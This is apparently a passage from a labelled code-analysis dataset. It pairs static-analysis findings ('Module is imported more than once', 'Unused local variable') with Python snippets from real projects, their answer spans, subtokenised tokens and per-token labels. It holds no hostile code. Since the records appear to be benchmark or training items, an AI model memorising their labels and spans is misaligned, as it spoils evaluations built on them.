"or_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "folder", "\\u", "list_", "!=_", "old", "\\u", "folder", "\\u", "list_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "form", "data_", "[_", "'", "user", "name", "'_", "]_", "!=_", "self_", "._", "application_", "._", "config_", "[_", "'", "security", "'_", "]_", "[_", "'", "user", "name", "'_", "]_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "password", "\\u", "changed_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "form", "data_", "[_", "'", "use", "\\u", "api", "\\u", "key", "'_", "]_", "!=_", "self_", "._", "application_", "._", "config_", "[_", "'", "security", "'_", "]_", "[_", "'", "use", "\\u", "api", "\\u", "key", "'_", "]_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "form", "data_", "[_", "'", "api", "\\u", "key", "'_", "]_", "!=_", "self_", "._", "application_", "._", "config_", "[_", "'", "security", "'_", "]_", "[_", "'", "api", "\\u", "key", "'_", "]_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "form", "data_", "[_", "'", "launch", "\\u", "browse", "r", "'_", "]_", "!=_", "self_", "._", "application_", "._", "config_", "[_", "'", "genera", "l", "'_", "]_", "[_", "'", "launch", "\\u", "browse", "r", "'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "appl", "y", " ", "every", "thing", " ", "from", " ", "the", " ", "form_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "application_", "._", "config_", "[_", "'", "genera", "l", "'_", "]_", "[_", "'", "folder", "\\u", "list", "'_", "]_", "=_", "new", "\\u", "folder", "\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "application_", "._", "config_", "[_", "'", "genera", "l", "'_", "]_", "[_", "'", "port", "'_", "]_", "=_", "new", "\\u", "port_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "application_", "._", "config_", "[_", "'", "security", "'_", "]_", "[_", "'", "use", "\\u", "authenticat", "ion", "'_", "]_", "=_", "form", "data_", "[_", "'", "use", "\\u", "authenticat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "application_", "._", "config_", "[_", "'", "security", "'_", "]_", "[_", "'", "user", "name", "'_", "]_", "=_", "form", "data_", "[_", "'", "user", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "form", "data_", "[_", "'", "password", "'_", "]_", "!=_", "Config", "Page", "Handler_", "._", "fake", "pass_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "application_", "._", "config_", "[_", "'", "security", "'_", "]_", "[_", "'", "password", "\\u", "digest", "'_", "]_", "=_", "utils_", "._", "get", "Dig", "est_", "(_", "form", "data_", "[_", "'", "password", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "application_", "._", "config_", "[_", "'", "security", "'_", "]_", "[_", "'", "use", "\\u", "api", "\\u", "key", "'_", "]_", "=_", "form", "data_", "[_", "'", "use", "\\u", "api", "\\u", "key", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "application_", "._", "config_", "[_", "'", "security", "'_", "]_", "[_", "'", "use", "\\u", "api", "\\u", "key", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "application_", "._", "config_", "[_", "'", "security", "'_", "]_", "[_", "'", "api", "\\u", "key", "'_", "]_", "=_", "form", "data_", "[_", "'", "api", "\\u", "key", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "application_", "._", "config_", "[_", "'", "security", "'_", "]_", "[_", "'", "api", "\\u", "key", "'_", "]_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form", "data_", "[_", "'", "api", "\\u", "key", "'_", "]_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "application_", "._", "config_", "[_", "'", "genera", "l", "'_", "]_", "[_", "'", "launch", "\\u", "browse", "r", "'_", "]_", "=_", "form", "data_", "[_", "'", "launch", "\\u", "browse", "r", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "success", "\\u", "str_", "=_", "\"", "Save", "d", ".", " ", "Server", " ", "restart", " ", "need", "ed", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "application_", "._", "config_", "._", "write_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fail", "ure", "\\u", "str_", "=_", "\"<", "br", "/>\"_", "._", "join_", "(_", "fail", "ure", "\\u", "strs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "form", "data_", "[_", "'", "password", "'_", "]_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form", "data_", "[_", "'", "password", "\\u", "confirm", "'_", "]_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "render", "\\u", "config_", "(_", "form", "data_", ",_", "success_", "=_", "success", "\\u", "str_", ",_", "failure_", "=_", "fail", "ure", "\\u", "str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Module is imported more than once
miracle2k/django-assets/django_assets/glob.py
[ { "content": "\"\"\"Copied from python-glob2, made to work in a single file, to avoid\nhaving a dependency.\n\"\"\"\n\n\n\"\"\"Filename matching with shell patterns.\n\nfnmatch(FILENAME, PATTERN) matches according to the local convention.\nfnmatchcase(FILENAME, PATTERN) always takes case in account.\n\nThe functions operate by translating the pattern into a regular\nexpression. They cache the compiled regular expressions for speed.\n\nThe function translate(PATTERN) returns a regular expression\ncorresponding to PATTERN. (It does not compile it.)\n\"\"\"\n\nimport re\nfrom webassets import six\n\n__all__ = [\"filter\", \"fnmatch\", \"fnmatchcase\", \"translate\"]\n\n_cache = {}\n_MAXCACHE = 100\n\n\n\n\n\n\n\n\"\"\"Filename globbing utility.\"\"\"\n\nimport sys\nimport os\nimport re\n\n\n\n\ndefault_globber = Globber()\nglob = default_globber.glob\niglob = default_globber.iglob\ndel default_globber\n\n\nmagic_check = re.compile('[*?[]')\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def fnmatch(name, pat):\n \"\"\"Test whether FILENAME matches PATTERN.\n\n Patterns are Unix shell style:\n\n * matches everything\n ? matches any single character\n [seq] matches any character in seq\n [!seq] matches any char not in seq\n\n An initial period in FILENAME is not special.\n Both FILENAME and PATTERN are first case-normalized\n if the operating system requires it.\n If you don't want this, use fnmatchcase(FILENAME, PATTERN).\n \"\"\"\n\n import os\n name = os.path.normcase(name)\n pat = os.path.normcase(pat)\n return fnmatchcase(name, pat)", "metadata": "root.fnmatch", "header": "['module', '___EOS___']", "index": 29 }, { "content": "def fnmatch_filter(names, pat):\n \"\"\"Return the subset of the list NAMES that match PAT\"\"\"\n import os,posixpath\n result=[]\n pat=os.path.normcase(pat)\n if not pat in _cache:\n res = translate(pat)\n if len(_cache) >= _MAXCACHE:\n _cache.clear()\n _cache[pat] = re.compile(res)\n match=_cache[pat].match\n if os.path is posixpath:\n # normcase on posix is NOP. Optimize it away from the loop.\n for name in names:\n m = match(name)\n if m:\n result.append((name, m.groups()))\n else:\n for name in names:\n m = match(os.path.normcase(name))\n if m:\n result.append((name, m.groups()))\n return result", "metadata": "root.fnmatch_filter", "header": "['module', '___EOS___']", "index": 50 } ]
[ { "span": "import re", "start_line": 130, "start_column": 0, "end_line": 130, "end_column": 9 }, { "span": "import os", "start_line": 45, "start_column": 4, "end_line": 45, "end_column": 13 }, { "span": "import os,posixpath", "start_line": 52, "start_column": 4, "end_line": 52, "end_column": 23 } ]
[ { "span": "import re", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 9 }, { "span": "import os", "start_line": 129, "start_column": 0, "end_line": 129, "end_column": 9 } ]
1
true
[ "[CLS]_", "Module_", "is_", "imported_", "more_", "than_", "once_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "Copie", "d", " ", "from", " ", "python", "-", "glob", "2", ",", " ", "made", " ", "to", " ", "work", " ", "in", " ", "a", " ", "single", " ", "file", ",", " ", "to", " ", "avoid", "\\", "10", ";", "hav", "ing", " ", "a", " ", "dependen", "cy", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "File", "name", " ", "matchi", "ng", " ", "with", " ", "shell", " ", "pattern", "s", ".", "\\", "10", ";", "\\", "10", ";", "fnmatch", "(", "FILE", "NAME", ",", " ", "PATTERN", ")", " ", "matche", "s", " ", "according", " ", "to", " ", "the", " ", "local", " ", "convention", ".", "\\", "10", ";", "fnmatch", "case", "(", "FILE", "NAME", ",", " ", "PATTERN", ")", " ", "alw", "ay", "s", " ", "take", "s", " ", "case", " ", "in", " ", "account", ".", "\\", "10", ";", "\\", "10", ";", "The", " ", "function", "s", " ", "operate", " ", "by", " ", "translat", "ing", " ", "the", " ", "pattern", " ", "int", "o", " ", "a", " ", "regular", "\\", "10", ";", "express", "ion", ".", " ", " ", "The", "y", " ", "cache", " ", "the", " ", "compile", "d", " ", "regular", " ", "express", "ion", "s", " ", "for", " ", "speed", ".", "\\", "10", ";", "\\", "10", ";", "The", " ", "function", " ", "translat", "e", "(", "PATTERN", ")", " ", "return", "s", " ", "a", " ", "regular", " ", "express", "ion", "\\", "10", ";", "correspond", "ing", " ", "to", " ", "PATTERN", ".", " ", " ", "(", "It", " ", "doe", "s", " ", "not", " ", "compile", " ", "it", ".)", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "weba", "sset", "s_", "import_", "six_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "all\\u\\u_", "=_", "[_", "\"", "filter", "\"_", ",_", "\"", "fnmatch", "\"_", ",_", "\"", "fnmatch", "case", "\"_", ",_", "\"", "translat", "e", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "cache_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "MAX", "CACHE_", "=_", "100_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\"\"\"", "File", "name", " ", "glob", "bing", " ", "utility", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "default", "\\u", "glob", "ber_", "=_", "Glob", "ber_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "glob_", "=_", "default", "\\u", "glob", "ber_", "._", "glob_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ig", "lob", "_", "=_", "default", "\\u", "glob", "ber_", "._", "ig", "lob", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "default", "\\u", "glob", "ber_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "magic", "\\u", "check_", "=_", "re_", "._", "compile_", "(_", "'[", "*?", "[]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fnmatch_", "(_", "name_", ",_", "pat_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "whe", "ther", " ", "FILE", "NAME", " ", "matche", "s", " ", "PATTERN", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Patterns", " ", "are", " ", "Uni", "x", " ", "shell", " ", "style", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "*", " ", " ", " ", "matche", "s", " ", "every", "thing", "\\", "10", ";", " ", " ", " ", " ", "?", " ", " ", " ", "matche", "s", " ", "any", " ", "single", " ", "character", "\\", "10", ";", " ", " ", " ", " ", "[", "seq", "]", " ", " ", " ", "matche", "s", " ", "any", " ", "character", " ", "in", " ", "seq", "\\", "10", ";", " ", " ", " ", " ", "[!", "seq", "]", " ", " ", "matche", "s", " ", "any", " ", "char", " ", "not", " ", "in", " ", "seq", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "An", " ", "initial", " ", "period", " ", "in", " ", "FILE", "NAME", " ", "is", " ", "not", " ", "special", ".", "\\", "10", ";", " ", " ", " ", " ", "Bot", "h", " ", "FILE", "NAME", " ", "and", " ", "PATTERN", " ", "are", " ", "first", " ", "case", "-", "normali", "zed", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "the", " ", "operati", "ng", " ", "system", " ", "require", "s", " ", "it", ".", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "you", " ", "don", "'", "t", " ", "want", " ", "this", ",", " ", "use", " ", "fnmatch", "case", "(", "FILE", "NAME", ",", " ", "PATTERN", ").", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "os_", "._", "path_", "._", "norm", "case_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pat_", "=_", "os_", "._", "path_", "._", "norm", "case_", "(_", "pat_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "fnmatch", "case_", "(_", "name_", ",_", "pat_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fnmatch", "\\u", "filter_", "(_", "names_", ",_", "pat_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "the", " ", "subse", "t", " ", "of", " ", "the", " ", "list", " ", "NAMES", " ", "tha", "t", " ", "match", " ", "PAT", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", ",_", "posixpath_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pat_", "=_", "os_", "._", "path_", "._", "norm", "case_", "(_", "pat_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "pat_", "in_", "\\u", "cache_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "res_", "=_", "translate_", "(_", "pat_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "\\u", "cache_", ")_", ">=_", "\\u", "MAX", "CACHE_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "cache_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "cache_", "[_", "pat_", "]_", "=_", "re_", "._", "compile_", "(_", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "match_", "=_", "\\u", "cache_", "[_", "pat_", "]_", "._", "match_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "is_", "posixpath_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "norm", "case", " ", "on", " ", "posix", " ", "is", " ", "NOP", ".", " ", "Optimize", " ", "it", " ", "awa", "y", " ", "from", " ", "the", " ", "loop", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "name_", "in_", "names_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "match_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "._", "append_", "(_", "(_", "name_", ",_", "m_", "._", "groups_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "name_", "in_", "names_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "match_", "(_", "os_", "._", "path_", "._", "norm", "case_", "(_", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "._", "append_", "(_", "(_", "name_", ",_", "m_", "._", "groups_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
ucb-sts/sts/sts/experiments/setup.py
[ { "content": "def setup_experiment(args, config):\n # Grab parameters\n if args.exp_name:\n config.exp_name = args.exp_name\n elif not hasattr(config, 'exp_name'):\n config.exp_name = exp_lifecycle.guess_config_name(config)\n\n if not hasattr(config, 'results_dir'):\n config.results_dir = \"experiments/%s\" % config.exp_name\n\n if args.timestamp_results is not None:\n # Note that argparse returns a list\n config.timestamp_results = args.timestamp_results\n\n if hasattr(config, 'timestamp_results') and config.timestamp_results:\n now = timestamp_string()\n config.results_dir += \"_\" + str(now)\n\n # Set up results directory\n create_python_dir(\"./experiments\")\n create_clean_python_dir(config.results_dir)\n\n # Copy stdout and stderr to a file \"simulator.out\"\n tee = Tee(open(os.path.join(config.results_dir, \"simulator.out\"), \"w\"))\n tee.tee_stdout()\n tee.tee_stderr()\n\n # Load log configuration.\n # N.B. this must be done after Tee()'ing.\n if args.log_config:\n logging.config.fileConfig(args.log_config)\n else:\n logging.basicConfig(level=logging.DEBUG if args.verbose else logging.INFO)\n\n # If specified, set up a config file for each controller\n for controller_config in config.simulation_config.controller_configs:\n if controller_config.config_template:\n controller_config.generate_config_file(config.results_dir)\n\n # Make sure that there are no uncommited changes\n if args.publish:\n exp_lifecycle.publish_prepare(config.exp_name, config.results_dir)\n\n # Record machine information for this experiment\n additional_metadata = None\n if hasattr(config, \"get_additional_metadata\"):\n additional_metadata = config.get_additional_metadata()\n\n exp_lifecycle.dump_metadata(\"%s/metadata\" % config.results_dir,\n additional_metadata=additional_metadata)\n\n # Copy over config file\n config_file = re.sub(r'\\.pyc$', '.py', config.__file__)\n if os.path.exists(config_file):\n canonical_config_file = config.results_dir + \"/orig_config.py\"\n if os.path.abspath(config_file) != os.path.abspath(canonical_config_file):\n shutil.copy(config_file, canonical_config_file)\n\n # Check configuration warnings\n log = logging.getLogger(\"setup\")\n\n con = config.control_flow.simulation_cfg.controller_configs\n\n def builtin_pox_controller(c):\n # pox/ is already accounted for in metadata.\n return (\"POXController\" in str(c.controller_class) and\n c.cwd is not None and\n re.match(\"^pox[/]?\", c.cwd) is not None)\n\n if (not hasattr(config, \"get_additional_metadata\") and\n find(lambda c: not builtin_pox_controller(c),\n config.control_flow.simulation_cfg.controller_configs) is not None):\n log.warn('''No get_additional_metadata() defined for config file. See '''\n '''config/nox_routing.py for an example.''')", "metadata": "root.setup_experiment", "header": "['module', '___EOS___']", "index": 25 } ]
[ { "span": "con ", "start_line": 86, "start_column": 2, "end_line": 86, "end_column": 5 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "setup", "\\u", "experiment_", "(_", "args_", ",_", "config_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Grab", " ", "parameters_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "args_", "._", "exp", "\\u", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "config_", "._", "exp", "\\u", "name_", "=_", "args_", "._", "exp", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "not_", "hasattr_", "(_", "config_", ",_", "'", "exp", "\\u", "name", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "config_", "._", "exp", "\\u", "name_", "=_", "exp", "\\u", "lifecycle", "_", "._", "guess", "\\u", "config", "\\u", "name_", "(_", "config_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "hasattr_", "(_", "config_", ",_", "'", "results", "\\u", "dir", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "config_", "._", "results", "\\u", "dir_", "=_", "\"", "experiment", "s", "/", "%", "s", "\"_", "%_", "config_", "._", "exp", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "args_", "._", "timestamp", "\\u", "results_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Not", "e", " ", "tha", "t", " ", "argp", "arse", " ", "return", "s", " ", "a", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "config_", "._", "timestamp", "\\u", "results_", "=_", "args_", "._", "timestamp", "\\u", "results_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "config_", ",_", "'", "timestamp", "\\u", "results", "'_", ")_", "and_", "config_", "._", "timestamp", "\\u", "results_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "now_", "=_", "timestamp", "\\u", "string_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "config_", "._", "results", "\\u", "dir_", "+=_", "\"\\u\"_", "+_", "str_", "(_", "now_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Set", " ", "up", " ", "results", " ", "directory_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "create", "\\u", "python", "\\u", "dir_", "(_", "\"./", "experiment", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "create", "\\u", "clean", "\\u", "python", "\\u", "dir_", "(_", "config_", "._", "results", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", " ", "stdout", " ", "and", " ", "std", "err", " ", "to", " ", "a", " ", "file", " ", "\"", "simulat", "or", ".", "out", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "tee", "_", "=_", "Te", "e_", "(_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "config_", "._", "results", "\\u", "dir_", ",_", "\"", "simulat", "or", ".", "out", "\"_", ")_", ",_", "\"", "w", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tee", "_", "._", "tee", "\\u", "stdout_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tee", "_", "._", "tee", "\\u", "stderr_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Load", " ", "log", " ", "configura", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "N", ".", "B", ".", " ", "this", " ", "must", " ", "be", " ", "don", "e", " ", "after", " ", "Te", "e", "()'", "ing", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "args_", "._", 